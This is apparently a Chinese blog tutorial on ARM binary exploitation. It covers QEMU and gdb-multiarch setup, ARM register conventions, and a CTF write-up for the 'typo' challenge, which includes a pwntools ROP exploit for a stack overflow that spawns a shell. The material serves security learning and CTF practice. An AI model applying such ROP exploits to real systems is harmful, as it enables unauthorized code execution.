ARMPWN入门
环境搭建
1 2
| sudo apt-get install gcc-arm-linux-gnueabi sudo apt-get install gcc-aarch64-linux-gnu
|
1
| sudo apt-get install qemu-user qemu-system
|
1
| sudo apt-get install gdb-multiarch
|
ubuntu编译arm架构程序并用qemu执行
1 2 3 4
| #编译 arm-linux-gcc -g easyarm.c -o eastgets #qemu执行 动态链接程序,需要指定libc的位置 qemu-arm -L /usr/arm-linux-gnueabihf/ ./pwn
|
qemu调试arm用户态程序
1 2 3 4 5 6 7 8 9 10 11
| # 使用qemu-arm将程序运行起来,并指定一个端口用于连接gdb qemu-arm -g xxx ./arm-bin qemu-arm -L ./libc ./arm-bin(-L 参数可以指定libc的路径 可选) # 使用gdb-multiarch指定arm程序 gdb-multiarch ./arm-bin gef> set architecture arm # gef> set endian little gef> target remote :xxx
# gdb-multiarch指定config文件 gdb-multiarch -x mygdb.cfg ./arm-bin
|
qemu调试mips程序也一样
1 2 3 4 5 6 7 8 9
| # 启动mips应用程序,并指定调试端口 qemu-mips -g xxx ./mips-bin qemu-mips -g xxx -L ./ ./mips-bin # 使用-L指定包含动态库的lib/目录
# gdb-multiarch启动调试 gdb-multiatch ./mips-bin gef> set architecture mips gef> set endian big gef> target remote :xxx
|
例题typo
file指令查看文件相关数据:
32bit,小端序,静态链接,arm架构
运行程序试试:
ida里,通过字符串交叉引用查询输入点所在位置:
输入时,尝试输入大量数据,程序果然崩掉了
pwndbg调试计算偏移量:
存在栈溢出,偏移量112,然后直接进行ROP就可以了。
找gadget:
arm架构下32bit程序,函数的前四个参数分别保存在r0~r3寄存器中,其余的参数在栈中,函数返回值保存在寄存器r0中。所以构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * r = process("./typo") context(arch = 'arm',log_level = 'debug')
p_r0_r4_pc = 0x00020904
r.recvuntil(b'Input ~ if you want to quit') r.sendline() r.recvuntil(b'------Begin------') pl1 = b'a'*112 + p32(p_r0_r4_pc) + p32(0x0006C384)*2 + p32(0x110B4) r.sendline(pl1) r.interactive()
|
拿到shell
总结:题目去了符号表真好恶心,明明蛮简单的一道题目,逆了好久。
一些arm的知识
arm32
1 2 3 4 5 6 7 8 9 10 11
| r0 第一个参数和返回值 类似于eax r1 第二个参数 类似于ebx r2 第三个参数 类似于ecx r3 第四个参数 类似于edx 大于四个参数,使用栈传参 r4-r10 通用寄存器 存储局部变量等 r11/FP 栈帧寄存器 类似于ebp r12 保存立即数 一般用于保存立即数 SP 栈顶寄存器 类似于esp LR 链接寄存器 保存返回地址 PC 程序计数器 保存当前执行地址
|
arm64
1 2 3 4 5 6 7
| X0-X7 第1-7个参数和返回值 最多支持7个寄存器参数 X8-X18 临时寄存器 X19-X28 callee-saved寄存器 若使用需要保存原始值 X29 栈帧寄存器 类似于ebp X30 链接寄存器 保存返回地址 SP 栈顶寄存器 类似于esp PC 程序计数器 保存当前执行地址
|